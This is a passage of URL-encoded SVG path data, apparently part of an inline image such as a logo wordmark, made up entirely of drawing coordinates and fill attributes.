57.5598 55.4155 57.4334 54.9399 56.9236C54.0441 55.9619 54.4841 54.0254 54.7173 52.8636C54.9307 51.7992 55.3391 50.3804 56.605 50.2289C58.581 49.9971 60.8758 50.8309 62.8307 51.1273C65.1843 51.4865 67.5467 51.7741 69.9179 51.9902C80.0375 52.9123 90.3271 52.7687 100.402 51.4198C102.238 51.173 104.068 50.8863 105.891 50.5596C107.516 50.2684 109.316 49.7218 110.298 51.404C110.971 52.55 111.06 54.0834 110.956 55.3783C110.924 55.9425 110.678 56.4732 110.267 56.8616H110.269Z' fill='%230D0C22'/%3E%3Cpath fill-rule='evenodd' clip-rule='evenodd' d='M170.036 84.2397C169.461 85.3378 168.67 86.2942 167.663 87.1057C166.656 87.9178 165.482 88.579 164.139 89.0881C162.797 89.5984 161.446 89.9408 160.088 90.1153C158.729 90.2905 157.41 90.2753 156.133 90.0674C154.854 89.8608 153.766 89.439 152.872 88.8014L153.88 78.3397C154.806 78.0216 155.972 77.6949 157.379 77.3604C158.785 77.0264 160.231 76.787 161.718 76.644C163.205 76.5004 164.61 76.5173 165.937 76.6919C167.263 76.867 168.31 77.2888 169.077 77.9579C169.493 78.3397 169.845 78.7537 170.132 79.1997C170.42 79.6458 170.595 80.1076 170.66 80.5852C170.819 81.9227 170.612 83.1409 170.036 84.2397ZM155.413 61.9545C156.084 61.5406 156.892 61.1739 157.834 60.8551C158.777 60.5376 159.744 60.3139 160.735 60.1867C161.725 60.06 162.692 60.043 163.636 60.1388C164.578 60.2345 165.41 60.497 166.129 60.9267C166.848 61.357 167.383 61.9782 167.735 62.7897C168.086 63.6024 168.182 64.6296 168.022 65.8714C167.895 66.8587 167.502 67.695 166.848 68.3793C166.193 69.0647 165.393 69.6374 164.451 70.0993C163.508 70.5617 162.509 70.9277 161.455 71.1974C160.399 71.4689 159.384 71.6683 158.41 71.795C157.435 71.9229 156.588 72.0029 155.869 72.0338C155.15 72.0659 154.678 72.0816 154.454 72.0816L155.413 61.9545ZM175.214 77.4798C174.703 76.3658 174.016 75.3864 173.153 74.5416C172.29 73.698 171.266 73.0853 170.084 72.7029C170.595 72.2889 171.099 71.6362 171.595 70.7441C172.09 69.8532 172.513 68.8811 172.865 67.8302C173.216 66.7787 173.457 65.7205 173.584 64.6533C173.711 63.5866 173.663 62.6709 173.441 61.906C172.896 59.9958 172.042 58.4988 170.875 57.4158C169.708 56.3334 168.35 55.5849 166.8 55.1704C165.249 54.7577 163.54 54.6692 161.67 54.908C159.8 55.1467 157.89 55.6164 155.941 56.317C155.941 56.1582 155.957 55.991 155.989 55.8158C156.02 55.6413 156.036 55.4576 156.036 55.2661C156.036 54.7886 155.797 54.3752 155.317 54.0243C154.838 53.674 154.287 53.4674 153.664 53.4031C153.04 53.3401 152.433 53.4746 151.841 53.8092C151.25 54.1437 150.842 54.7577 150.619 55.6479C150.363 58.5146 150.107 61.4927 149.852 64.5812C149.596 67.6708 149.324 70.792 149.037 73.9453C148.749 77.0979 148.461 80.227 148.174 83.3318C147.886 86.4372 147.598 89.4226 147.311 92.2886C147.407 93.1486 147.646 93.8177 148.03 94.2953C148.413 94.7734 148.861 95.0601 149.372 95.1553C149.883 95.251 150.419 95.1625 150.978 94.8922C151.537 94.6225 152.025 94.1516 152.441 93.4832C153.719 94.1838 155.158 94.6377 156.756 94.845C158.354 95.0516 159.975 95.0516 161.623 94.845C163.268 94.6377 164.89 94.248 166.488 93.6741C168.086 93.1013 169.541 92.3844 170.851 91.525C172.162 90.665 173.264 89.685 174.16 88.5869C175.054 87.4875 175.646 86.3014 175.933 85.0281C176.221 83.7221 176.301 82.4167 176.173 81.1106C176.045 79.8052 175.725 78.5955 175.214 77.4798Z' fill='%230D0C23'/%3E%3Cpath fill-rule='evenodd' clip-rule='evenodd' d='M221.989 102.702C221.814 103.753 221.565 104.86 221.246 106.023C220.926 107.184 220.551 108.244 220.12 109.2C219.688 110.155 219.209 110.926 218.682 111.516C218.154 112.105 217.586 112.352 216.979 112.257C216.5 112.192 216.196 111.89 216.069 111.349C215.94 110.807 215.94 110.138 216.069 109.343C216.196 108.546 216.443 107.646 216.811 106.643C217.179 105.64 217.627 104.644 218.154 103.658C218.682 102.67 219.281 101.723 219.952 100.815C220.623 99.9082 221.326 99.1512 222.061 98.5464C222.221 98.7373 222.293 99.2149 222.277 99.9797C222.26 100.744 222.165 101.652 221.989 102.702ZM238.243 81.9697C237.811 81.4921 237.284 81.2218 236.66 81.1576C236.037 81.0939 235.405 81.4442 234.767 82.2085C234.351 82.9727 233.823 83.7054 233.184 84.406C232.545 85.1072 231.882 85.7436 231.195 86.3169C230.507 86.8896 229.852 87.3841 229.229 87.7975C228.606 88.212 228.118 88.5144 227.767 88.7053C227.639 87.6866 227.566 86.5878 227.551 85.409C227.534 84.2308 227.559 83.0369 227.623 81.8266C227.718 80.1067 227.918 78.3715 228.222 76.6194C228.526 74.868 228.965 73.148 229.541 71.4595C229.541 70.5686 229.332 69.8438 228.917 69.2862C228.501 68.7293 227.998 68.3784 227.407 68.2353C226.815 68.0923 226.209 68.1717 225.585 68.4741C224.962 68.7771 224.427 69.3268 223.979 70.122C223.596 71.1735 223.156 72.3516 222.661 73.6571C222.165 74.9631 221.606 76.2928 220.983 77.6461C220.359 79.0006 219.664 80.3139 218.897 81.5873C218.13 82.8618 217.291 83.9927 216.38 84.9793C215.469 85.9666 214.478 86.7393 213.408 87.2963C212.336 87.8538 211.179 88.1005 209.932 88.0369C209.356 87.8775 208.94 87.4478 208.685 86.7466C208.429 86.0466 208.277 85.1702 208.23 84.1193C208.182 83.0684 208.23 81.9139 208.373 80.6557C208.517 79.3982 208.709 78.1479 208.949 76.9061C209.188 75.6637 209.452 74.4855 209.739 73.371C210.027 72.2565 210.298 71.3165 210.554 70.5523C210.938 69.6292 210.938 68.8559 210.554 68.2353C210.171 67.6141 209.644 67.2008 208.973 66.9929C208.302 66.7863 207.598 66.7947 206.863 67.0172C206.128 67.2402 205.6 67.7335 205.281 68.4977C204.737 69.8044 204.241 71.2686 203.794 72.8928C203.347 74.5171 202.987 76.1976 202.716 77.9328C202.444 79.6691 202.291 81.3891 202.26 83.0927C202.258 83.2036 202.263 83.309 202.263 83.4193C201.566 85.2708 200.902 86.6702 200.271 87.6066C199.456 88.8174 198.536 89.3429 197.514 89.1829C197.065 88.992 196.771 88.5465 196.627 87.8453C196.482 87.1453 196.435 86.2854 196.482 85.2654C196.531 84.2472 196.651 83.0927 196.842 81.8024C197.035 80.5127 197.273 79.1752 197.561 77.7897C197.849 76.4037 198.153 75.0116 198.472 73.6098C198.792 72.2086 199.079 70.8868 199.336 69.6444C199.304 68.5299 198.976 67.6784 198.352 67.0887C197.73 66.5002 196.858 66.2693 195.74 66.396C194.973 66.7147 194.405 67.1293 194.038 67.6384C193.67 68.1474 193.374 68.8008 193.151 69.5965C193.022 70.0111 192.831 70.8389 192.575 72.0813C192.319 73.3225 191.992 74.7486 191.592 76.3564C191.193 77.9655 190.721 79.6449 190.178 81.3963C189.635 83.1478 189.027 84.7333 188.357 86.1496C187.685 87.5666 186.95 88.7053 186.151 89.5653C185.352 90.4247 184.489 90.7756 183.562 90.6162C183.05 90.5205 182.723 89.995 182.579 89.0399C182.435 88.0841 182.412 86.9066 182.507 85.5048C182.603 84.1036 182.795 82.5666 183.082 80.8951C183.37 79.223 183.665 77.6388 183.969 76.1413C184.273 74.6449 184.553 73.3225 184.809 72.1765C185.064 71.0298 185.24 70.2656 185.336 69.8838C185.336 68.9602 185.127 68.2202 184.713 67.662C184.297 67.1056 183.794 66.7547 183.202 66.6111C182.61 66.4681 182.003 66.5475 181.381 66.8499C180.757 67.1529 180.222 67.7026 179.774 68.4977C179.614 69.3577 179.406 70.3535 179.151 71.4838C178.895 72.614 178.648 73.7765 178.408 74.971C178.168 76.1655 177.944 77.3358 177.737 78.4824C177.529 79.6291 177.377 80.6321 177.281 81.4921C177.217 82.1606 177.145 82.9812 177.066 83.9521C176.985 84.9242 176.945 85.9508 176.945 87.0332C176.945 88.1169 177.025 89.1914 177.186 90.258C177.345 91.3253 177.633 92.3047 178.048 93.1956C178.463 94.0877 179.047 94.8198 179.799 95.3931C180.549 95.9664 181.5 96.2846 182.651 96.3489C183.833 96.4119 184.864 96.3252 185.744 96.0858C186.622 95.847 187.421 95.4725 188.141 94.9628C188.86 94.4543 189.515 93.8489 190.107 93.1477C190.697 92.4477 191.281 91.6835 191.856 90.855C192.4 92.0659 193.103 93.0047 193.966 93.6737C194.829 94.3422 195.74 94.741 196.699 94.8677C197.657 94.9943 198.633 94.8604 199.624 94.4616C200.614 94.064 201.509 93.3871 202.308 92.4313C202.835 91.8453 203.331 91.1792 203.797 90.4429C203.995 90.7877 204.205 91.1204 204.442 91.4277C205.225 92.4477 206.288 93.1477 207.631 93.5301C209.069 93.9125 210.474 93.9768 211.849 93.7216C213.223 93.4671 214.534 93.0047 215.78 92.3362C217.027 91.6671 218.185 90.8635 219.257 89.9235C220.327 88.9841 221.262 88.0053 222.061 86.9854C222.029 87.7181 222.013 88.4114 222.013 89.0635C222.013 89.7168 221.997 90.4247 221.966 91.1895C220.367 92.3047 218.857 93.6422 217.435 95.2022C216.012 96.7622 214.765 98.4264 213.695 100.194C212.624 101.961 211.785 103.753 211.179 105.568C210.571 107.384 210.275 109.08 210.291 110.657C210.307 112.233 210.682 113.61 211.418 114.788C212.152 115.967 213.351 116.81 215.013 117.32C216.74 117.862 218.257 117.877 219.569 117.368C220.879 116.858 222.021 116.014 222.996 114.836C223.971 113.658 224.77 112.233 225.394 110.561C226.017 108.889 226.512 107.145 226.88 105.33C227.247 103.515 227.479 101.73 227.575 99.9797C227.671 98.2276 227.671 96.6664 227.575 95.2974C230.324 94.1513 232.577 92.7022 234.335 90.9501C236.093 89.1999 237.547 87.352 238.698 85.409C239.049 84.9314 239.169 84.3581 239.058 83.6896C238.945 83.0206 238.674 82.4472 238.243 81.9697Z' fill='%230D0C23'/%3E%3Cpath fill-rule='evenodd' clip-rule='evenodd' d='M298.724 78.9135C298.82 78.1814 298.964 77.4087 299.155 76.5966C299.347 75.7845 299.587 74.996 299.875 74.2318C300.162 73.4676 300.498 72.807 300.882 72.2494C301.265 71.6924 301.673 71.2943 302.104 71.0549C302.536 70.8167 302.974 70.8403 303.423 71.1264C303.902 71.4137 304.197 72.0185 304.31 72.9415C304.421 73.8663 304.31 74.853 303.974 75.9039C303.638 76.9554 303.039 77.942 302.176 78.8657C301.313 79.7899 300.146 80.3941 298.676 80.6808C298.612 80.236 298.628 79.6463 298.724 78.9135ZM315.336 80.8717C314.809 80.7135 314.306 80.6972 313.826 80.8244C313.347 80.9517 313.043 81.2862 312.916 81.8281C312.659 82.8468 312.251 83.8898 311.692 84.9565C311.133 86.0238 310.446 87.0346 309.632 87.9904C308.817 88.9455 307.897 89.7898 306.875 90.5219C305.851 91.2546 304.781 91.78 303.662 92.0982C302.543 92.4491 301.616 92.4885 300.882 92.2176C300.146 91.9479 299.563 91.4855 299.132 90.8328C298.7 90.1801 298.388 89.3916 298.197 88.468C298.005 87.5443 297.893 86.5892 297.861 85.6013C299.683 85.7292 301.305 85.4032 302.728 84.622C304.149 83.8426 305.356 82.8068 306.347 81.5171C307.337 80.2275 308.089 78.7784 308.6 77.1699C309.111 75.5621 309.399 73.9615 309.463 72.3688C309.495 70.8718 309.272 69.6064 308.792 68.5713C308.313 67.5367 307.665 66.7313 306.85 66.1586C306.036 65.5853 305.1 65.2507 304.046 65.1556C302.992 65.0598 301.92 65.2034 300.833 65.5853C299.522 66.0313 298.412 66.7555 297.501 67.7592C296.59 68.7622 295.831 69.9252 295.224 71.2464C294.617 72.5682 294.137 73.993 293.786 75.5215C293.434 77.0505 293.178 78.5554 293.019 80.0366C292.875 81.3656 292.798 82.6365 292.771 83.8632C292.702 84.0189 292.636 84.1686 292.563 84.3353C292.067 85.4668 291.491 86.5734 290.837 87.6558C290.182 88.7389 289.454 89.6467 288.656 90.3788C287.857 91.1116 287.026 91.3661 286.163 91.1431C285.651 91.0164 285.372 90.4261 285.324 89.3758C285.276 88.3243 285.331 87.0189 285.491 85.4583C285.651 83.8983 285.835 82.2093 286.043 80.3941C286.25 78.579 286.354 76.8439 286.354 75.1875C286.354 73.7542 286.082 72.3773 285.539 71.0549C284.995 69.7343 284.252 68.6349 283.31 67.7592C282.367 66.8828 281.272 66.3016 280.026 66.0156C278.779 65.7283 277.437 65.9198 275.999 66.5883C274.56 67.2574 273.417 68.1967 272.571 69.407C271.723 70.6179 270.948 71.8912 270.245 73.2288C269.989 72.2094 269.614 71.2628 269.118 70.3864C268.623 69.5107 268.016 68.7464 267.297 68.0931C266.577 67.441 265.769 66.9313 264.876 66.5646C263.981 66.1992 263.037 66.0156 262.046 66.0156C261.088 66.0156 260.201 66.1992 259.386 66.5646C258.571 66.9313 257.828 67.4004 257.156 67.9737C256.485 68.5476 255.878 69.1919 255.334 69.9088C254.791 70.6252 254.311 71.3343 253.896 72.0343C253.831 71.2064 253.76 70.4822 253.681 69.8603C253.6 69.2398 253.456 68.7143 253.249 68.2846C253.041 67.8543 252.746 67.5283 252.362 67.3052C251.978 67.0828 251.435 66.9707 250.732 66.9707C250.38 66.9707 250.028 67.0422 249.677 67.1852C249.325 67.3289 249.013 67.5283 248.742 67.7828C248.47 68.0386 248.263 68.3482 248.119 68.7143C247.975 69.0804 247.936 69.5028 247.999 69.9803C248.031 70.3312 248.119 70.7525 248.263 71.2464C248.406 71.7403 248.542 72.3858 248.67 73.1809C248.798 73.9773 248.902 74.9409 248.982 76.0712C249.062 77.2021 249.085 78.5875 249.054 80.2275C249.021 81.8681 248.902 83.7862 248.694 85.9837C248.486 88.1813 248.158 90.7291 247.711 93.6267C247.647 94.2957 247.903 94.8376 248.479 95.2515C249.054 95.6648 249.709 95.9036 250.444 95.9678C251.179 96.0315 251.875 95.9036 252.53 95.586C253.185 95.2666 253.561 94.7097 253.656 93.9139C253.752 92.417 253.936 90.8249 254.208 89.1364C254.479 87.4492 254.815 85.7771 255.215 84.1207C255.614 82.465 256.069 80.8887 256.581 79.3911C257.092 77.8942 257.66 76.573 258.283 75.4263C258.907 74.2797 259.554 73.3645 260.225 72.6797C260.896 71.9949 261.599 71.6524 262.335 71.6524C263.229 71.6524 263.924 72.0579 264.42 72.87C264.915 73.6827 265.266 74.7263 265.475 75.999C265.682 77.2736 265.778 78.6675 265.763 80.1796C265.746 81.6923 265.682 83.1492 265.571 84.5504C265.459 85.9522 265.331 87.2019 265.187 88.3007C265.043 89.3995 264.939 90.1564 264.876 90.5697C264.876 91.3025 265.155 91.8831 265.714 92.3134C266.273 92.743 266.896 92.9982 267.584 93.0776C268.272 93.1576 268.918 93.0297 269.526 92.6952C270.133 92.3606 270.485 91.7964 270.581 90.9994C270.9 88.7067 271.34 86.4062 271.899 84.0971C272.458 81.7881 273.098 79.7184 273.817 77.8869C274.536 76.0554 275.335 74.5585 276.214 73.3961C277.093 72.2343 278.028 71.6524 279.019 71.6524C279.53 71.6524 279.922 72.0033 280.193 72.7033C280.465 73.4039 280.601 74.3591 280.601 75.5694C280.601 76.4615 280.529 77.3772 280.386 78.3166C280.241 79.256 280.074 80.2275 279.882 81.2305C279.69 82.2341 279.522 83.2608 279.378 84.3117C279.235 85.3632 279.163 86.4613 279.163 87.608C279.163 88.4043 279.243 89.3279 279.403 90.3788C279.562 91.4291 279.865 92.4255 280.313 93.3642C280.761 94.3042 281.376 95.1 282.16 95.7527C282.943 96.4054 283.941 96.7321 285.155 96.7321C286.978 96.7321 288.591 96.3418 289.998 95.5618C291.404 94.7818 292.611 93.763 293.618 92.5049C293.67 92.4388 293.718 92.3685 293.769 92.3031C293.846 92.4891 293.914 92.6861 294.001 92.863C294.688 94.2642 295.623 95.3466 296.806 96.1115C297.988 96.8757 299.379 97.2975 300.978 97.3775C302.575 97.4563 304.317 97.1618 306.204 96.4933C307.609 95.9836 308.832 95.3466 309.871 94.5824C310.909 93.8182 311.844 92.8867 312.675 91.7879C313.507 90.6891 314.265 89.4231 314.953 87.9904C315.641 86.5565 316.335 84.9171 317.038 83.0692C317.166 82.5608 317.046 82.1068 316.679 81.7081C316.311 81.3105 315.864 81.0317 315.336 80.8717Z' fill='%230D0C23'/%3E%3Cpath fill-rule='evenodd' clip-rule='evenodd' d='M341.393 75.5432C341.233 76.4832 341.018 77.5189 340.746 78.6486C340.474 79.7795 340.131 80.9498 339.715 82.1601C339.3 83.3703 338.788 84.4612 338.181 85.4321C337.574 86.4042 336.878 87.1757 336.096 87.7491C335.312 88.3224 334.41 88.5612 333.387 88.4654C332.875 88.4024 332.483 88.0521 332.212 87.4145C331.94 86.7782 331.797 85.9655 331.78 84.9782C331.764 83.9915 331.852 82.9085 332.044 81.7298C332.236 80.5522 332.531 79.3971 332.932 78.2662C333.331 77.1365 333.818 76.0929 334.393 75.1371C334.969 74.182 335.632 73.4414 336.383 72.916C337.134 72.3905 337.958 72.1445 338.852 72.1754C339.747 72.2075 340.706 72.6529 341.729 73.5129C341.664 73.9275 341.553 74.6044 341.393 75.5432ZM358.437 79.1977C357.941 78.9431 357.43 78.888 356.903 79.031C356.376 79.174 356 79.6601 355.777 80.488C355.649 81.3801 355.361 82.4304 354.914 83.6406C354.466 84.8509 353.914 85.9982 353.26 87.08C352.604 88.163 351.853 89.063 351.006 89.7793C350.159 90.4963 349.256 90.823 348.298 90.7581C347.498 90.6951 346.938 90.289 346.62 89.5406C346.299 88.7921 346.132 87.8533 346.116 86.7218C346.099 85.5921 346.212 84.3182 346.451 82.9007C346.691 81.4837 346.979 80.0746 347.314 78.6722C347.65 77.2716 347.994 75.9256 348.346 74.6359C348.697 73.3463 348.984 72.2554 349.209 71.3639C349.464 70.5675 349.384 69.8912 348.969 69.333C348.553 68.7766 348.034 68.3778 347.411 68.1391C346.787 67.9003 346.155 67.8366 345.516 67.9481C344.877 68.0597 344.462 68.4021 344.27 68.9748C342.384 67.3506 340.57 66.4748 338.829 66.3476C337.086 66.2203 335.48 66.6027 334.01 67.4942C332.539 68.3857 331.237 69.6754 330.103 71.3639C328.968 73.0523 328.049 74.8911 327.345 76.8814C326.642 78.8716 326.203 80.9025 326.027 82.9722C325.851 85.0424 325.987 86.9297 326.435 88.6333C326.883 90.3369 327.673 91.7308 328.808 92.8126C329.942 93.8956 331.485 94.4375 333.435 94.4375C334.298 94.4375 335.129 94.2623 335.928 93.912C336.726 93.5611 337.462 93.1472 338.133 92.6696C338.804 92.192 339.395 91.6902 339.908 91.1648C340.418 90.6393 340.818 90.2018 341.106 89.8509C341.329 90.9975 341.697 91.9696 342.209 92.7654C342.719 93.5611 343.303 94.215 343.958 94.7235C344.613 95.2326 345.301 95.6071 346.02 95.8465C346.739 96.0853 347.435 96.2047 348.105 96.2047C349.608 96.2047 351.013 95.695 352.325 94.6756C353.635 93.6575 354.81 92.4066 355.849 90.926C356.887 89.4448 357.743 87.8848 358.413 86.2442C359.085 84.6043 359.532 83.1473 359.756 81.8728C359.98 81.3952 359.939 80.894 359.636 80.3686C359.332 79.8431 358.933 79.4534 358.437 79.1977Z' fill='%230D0C23'/%3E%3Cpath fill-rule='evenodd' clip-rule='evenodd' d='M444.738 105.571C444.467 106.653 444.043 107.57 443.467 108.318C442.892 109.066 442.173 109.456 441.31 109.489C440.767 109.52 440.351 109.233 440.063 108.629C439.776 108.023 439.576 107.243 439.464 106.288C439.352 105.332 439.304 104.265 439.32 103.087C439.336 101.909 439.384 100.746 439.464 99.5996C439.543 98.4536 439.64 97.3857 439.752 96.3991C439.863 95.4112 439.951 94.6482 440.015 94.1064C441.102 94.2336 442.006 94.7027 442.724 95.5154C443.443 96.3275 443.995 97.2906 444.378 98.4057C444.762 99.5202 444.985 100.723 445.05 102.012C445.113 103.302 445.009 104.488 444.738 105.571ZM427.382 105.571C427.111 106.653 426.687 107.57 426.112 108.318C425.537 109.066 424.817 109.456 423.954 109.489C423.411 109.52 422.996 109.233 422.708 108.629C422.42 108.023 422.22 107.243 422.109 106.288C421.996 105.332 421.948 104.265 421.965 103.087C421.98 101.909 422.028 100.746 422.109 99.5996C422.188 98.4536 422.284 97.3857 422.396 96.3991C422.508 95.4112 422.595 94.6482 422.66 94.1064C423.746 94.2336 424.65 94.7027 425.368 95.5154C426.088 96.3275 426.639 97.2906 427.023 98.4057C427.407 99.5202 427.63 100.723 427.694 102.012C427.757 103.302 427.653 104.488 427.382 105.571ZM409.572 78.4375C409.539 79.2011 409.467 79.8781 409.355 80.4672C409.243 81.0575 409.092 81.4308 408.9 81.5902C408.548 81.3987 408.116 80.906 407.605 80.109C407.094 79.3133 406.695 78.4127 406.406 77.4096C406.119 76.4066 406.03 75.42 406.143 74.4479C406.254 73.477 406.758 72.7212 407.653 72.1788C408.004 71.9879 408.308 72.0594 408.564 72.394C408.82 72.7285 409.027 73.2139 409.188 73.8509C409.347 74.4885 409.458 75.2206 409.523 76.0485C409.587 76.8769 409.603 77.6727 409.572 78.4375ZM405.328 87.9677C404.832 88.4925 404.28 88.9464 403.674 89.3289C403.066 89.7113 402.443 89.9979 401.804 90.1889C401.164 90.3804 400.589 90.4276 400.078 90.3319C398.64 90.0458 397.537 89.424 396.77 88.4689C396.003 87.5137 395.515 86.3913 395.308 85.1017C395.1 83.8114 395.123 82.4338 395.38 80.969C395.635 79.5042 396.066 78.143 396.674 76.8848C397.281 75.6266 398.017 74.5436 398.879 73.6364C399.742 72.7285 400.685 72.1637 401.708 71.94C401.324 73.5642 401.197 75.2448 401.324 76.98C401.452 78.7157 401.868 80.3478 402.571 81.8762C403.018 82.8011 403.554 83.6441 404.177 84.4083C404.801 85.1732 405.56 85.8259 406.455 86.3671C406.199 86.9089 405.823 87.4422 405.328 87.9677ZM458.378 78.9151C458.474 78.183 458.617 77.4096 458.81 76.5975C459.001 75.786 459.241 74.9976 459.528 74.2333C459.816 73.4685 460.152 72.8079 460.536 72.2509C460.92 71.694 461.326 71.2952 461.758 71.0564C462.19 70.8176 462.629 70.8413 463.076 71.1279C463.556 71.4152 463.851 72.02 463.963 72.943C464.075 73.8673 463.963 74.8539 463.628 75.9054C463.292 76.9563 462.693 77.9436 461.83 78.8666C460.968 79.7914 459.8 80.3957 458.33 80.6823C458.266 80.2369 458.282 79.6478 458.378 78.9151ZM477.7 78.9151C477.796 78.183 477.939 77.4096 478.131 76.5975C478.323 75.786 478.563 74.9976 478.851 74.2333C479.138 73.4685 479.473 72.8079 479.857 72.2509C480.241 71.694 480.649 71.2952 481.08 71.0564C481.512 70.8176 481.951 70.8413 482.398 71.1279C482.878 71.4152 483.173 72.02 483.285 72.943C483.397 73.8673 483.285 74.8539 482.95 75.9054C482.614 76.9563 482.015 77.9436 481.152 78.8666C480.289 79.7914 479.122 80.3957 477.652 80.6823C477.588 80.2369 477.604 79.6478 477.7 78.9151ZM495.655 81.7096C495.287 81.312 494.84 81.0332 494.313 80.8732C493.785 80.7144 493.282 80.6987 492.802 80.826C492.323 80.9532 492.018 81.2878 491.891 81.829C491.635 82.8484 491.228 83.8914 490.669 84.9574C490.109 86.0253 489.422 87.0362 488.607 87.9913C487.792 88.9464 486.873 89.7913 485.851 90.5234C484.827 91.2561 483.757 91.7816 482.639 92.0991C481.519 92.4506 480.592 92.49 479.857 92.2191C479.122 91.9488 478.539 91.487 478.107 90.8343C477.676 90.181 477.365 89.3931 477.172 88.4689C476.981 87.5459 476.868 86.5907 476.837 85.6029C478.659 85.7307 480.281 85.4047 481.703 84.6235C483.125 83.8435 484.332 82.8077 485.324 81.5181C486.314 80.229 487.065 78.7799 487.576 77.1715C488.087 75.563 488.375 73.963 488.44 72.3703C488.471 70.8734 488.247 69.6073 487.768 68.5722C487.289 67.5377 486.642 66.7328 485.827 66.1601C485.011 65.5862 484.077 65.2522 483.021 65.1565C481.967 65.0607 480.896 65.205 479.809 65.5862C478.498 66.0328 477.388 66.7571 476.478 67.7601C475.567 68.7637 474.807 69.9267 474.2 71.2473C473.592 72.5697 473.113 73.9939 472.761 75.523C472.409 77.0515 472.154 78.5569 471.995 80.0375C471.839 81.4744 471.755 82.8496 471.736 84.1659C471.615 84.4283 471.486 84.692 471.347 84.9574C470.787 86.0253 470.1 87.0362 469.285 87.9913C468.471 88.9464 467.551 89.7913 466.529 90.5234C465.506 91.2561 464.435 91.7816 463.317 92.0991C462.197 92.4506 461.271 92.49 460.536 92.2191C459.8 91.9488 459.217 91.487 458.786 90.8343C458.355 90.181 458.043 89.3931 457.851 88.4689C457.659 87.5459 457.547 86.5907 457.515 85.6029C459.337 85.7307 460.959 85.4047 462.382 84.6235C463.803 83.8435 465.01 82.8077 466.001 81.5181C466.992 80.229 467.743 78.7799 468.254 77.1715C468.765 75.563 469.054 73.963 469.117 72.3703C469.149 70.8734 468.926 69.6073 468.447 68.5722C467.967 67.5377 467.319 66.7328 466.504 66.1601C465.689 65.5862 464.755 65.2522 463.7 65.1565C462.645 65.0607 461.574 65.205 460.488 65.5862C459.176 66.0328 458.066 66.7571 457.156 67.7601C456.245 68.7637 455.485 69.9267 454.878 71.2473C454.271 72.5697 453.792 73.9939 453.44 75.523C453.088 77.0515 452.832 78.5569 452.673 80.0375C452.582 80.8726 452.522 81.6823 452.477 82.4774C452.168 82.7393 451.867 83.0029 451.546 83.2617C450.444 84.1538 449.284 84.9574 448.07 85.6744C446.855 86.3913 445.592 86.9804 444.283 87.4422C442.971 87.904 441.629 88.1828 440.255 88.278L443.228 56.5578C443.42 55.8887 443.324 55.3003 442.94 54.7906C442.557 54.2809 442.061 53.9306 441.454 53.7397C440.847 53.5482 440.199 53.5645 439.512 53.787C438.824 54.0106 438.258 54.5203 437.81 55.3154C437.586 56.5263 437.354 58.182 437.115 60.2838C436.875 62.3856 436.635 64.6789 436.396 67.1631C436.156 69.6473 435.916 72.2109 435.677 74.8539C435.437 77.4981 435.229 79.966 435.053 82.2587C435.045 82.3605 435.039 82.4526 435.031 82.5532C434.751 82.7896 434.48 83.0277 434.19 83.2617C433.088 84.1538 431.928 84.9574 430.714 85.6744C429.499 86.3913 428.237 86.9804 426.927 87.4422C425.616 87.904 424.273 88.1828 422.899 88.278L425.872 56.5578C426.064 55.8887 425.968 55.3003 425.585 54.7906C425.201 54.2809 424.705 53.9306 424.098 53.7397C423.491 53.5482 422.843 53.5645 422.156 53.787C421.469 54.0106 420.902 54.5203 420.454 55.3154C420.23 56.5263 419.999 58.182 419.76 60.2838C419.519 62.3856 419.28 64.6789 419.04 67.1631C418.8 69.6473 418.561 72.2109 418.321 74.8539C418.082 77.4981 417.873 79.966 417.698 82.2587C417.694 82.3047 417.691 82.3465 417.687 82.3926C417.185 82.6247 416.638 82.8284 416.043 82.9993C415.436 83.175 414.749 83.2786 413.982 83.3102C414.11 82.7362 414.213 82.0993 414.293 81.3987C414.373 80.6987 414.438 79.966 414.486 79.2011C414.534 78.4375 414.549 77.6727 414.534 76.9084C414.517 76.1436 414.477 75.4436 414.414 74.806C414.253 73.4376 413.958 72.1394 413.527 70.9128C413.095 69.6873 412.512 68.6607 411.777 67.8316C411.041 67.0037 410.123 66.4462 409.019 66.1601C407.917 65.8734 406.63 65.9686 405.161 66.4462C402.986 66.1601 401.029 66.3595 399.287 67.0437C397.545 67.7292 396.034 68.7237 394.756 70.0291C393.478 71.3358 392.431 72.8715 391.616 74.6394C390.801 76.4066 390.257 78.2224 389.986 80.0848C389.871 80.8744 389.815 81.6605 389.798 82.4447C389.303 83.4544 388.761 84.3368 388.164 85.0774C387.317 86.1283 386.438 86.9883 385.527 87.6568C384.616 88.3258 383.713 88.8355 382.819 89.1858C381.923 89.5367 381.124 89.7755 380.421 89.9022C379.59 90.0616 378.791 90.0779 378.024 89.9501C377.257 89.8234 376.553 89.4567 375.915 88.8513C375.403 88.4058 375.011 87.6889 374.74 86.7016C374.468 85.7144 374.309 84.5926 374.261 83.3338C374.213 82.0756 374.261 80.7617 374.404 79.3926C374.548 78.0236 374.795 76.7254 375.147 75.4994C375.499 74.2733 375.945 73.1746 376.49 72.2024C377.032 71.2322 377.672 70.5388 378.408 70.1249C378.822 70.1891 379.079 70.4352 379.175 70.8649C379.271 71.2952 379.294 71.8049 379.246 72.394C379.199 72.9836 379.127 73.5885 379.031 74.2091C378.935 74.8303 378.887 75.3485 378.887 75.7618C379.047 76.6218 379.358 77.2909 379.822 77.7684C380.285 78.246 380.805 78.5254 381.38 78.6042C381.955 78.6842 382.522 78.549 383.083 78.1981C383.641 77.8484 384.096 77.2909 384.449 76.526C384.48 76.5581 384.528 76.5739 384.592 76.5739L385.264 70.5073C385.455 69.6788 385.327 68.9467 384.88 68.3098C384.432 67.6728 383.841 67.3062 383.106 67.211C382.179 65.8734 380.924 65.165 379.342 65.085C377.76 65.0056 376.138 65.5231 374.476 66.6377C373.453 67.371 372.55 68.3813 371.767 69.671C370.983 70.9613 370.345 72.394 369.85 73.9703C369.353 75.5466 369.002 77.2115 368.795 78.963C368.587 80.7144 368.547 82.4187 368.674 84.0738C368.802 85.7307 369.098 87.2913 369.562 88.7555C370.025 90.221 370.672 91.447 371.504 92.4337C372.207 93.2937 373.005 93.9233 373.9 94.3215C374.795 94.7197 375.73 94.9658 376.705 95.0615C377.68 95.1567 378.647 95.1167 379.606 94.9421C380.565 94.7676 381.476 94.5209 382.339 94.2015C383.457 93.7882 384.609 93.2621 385.791 92.6252C386.973 91.9888 388.108 91.224 389.195 90.3319C389.767 89.8628 390.317 89.3513 390.849 88.8028C391.091 89.4016 391.362 89.981 391.688 90.5234C392.551 91.9561 393.717 93.1191 395.188 94.0106C396.657 94.9021 398.464 95.3312 400.605 95.3003C402.907 95.2682 405.032 94.6876 406.982 93.5567C408.932 92.427 410.53 90.7616 411.777 88.5646C413.644 88.5646 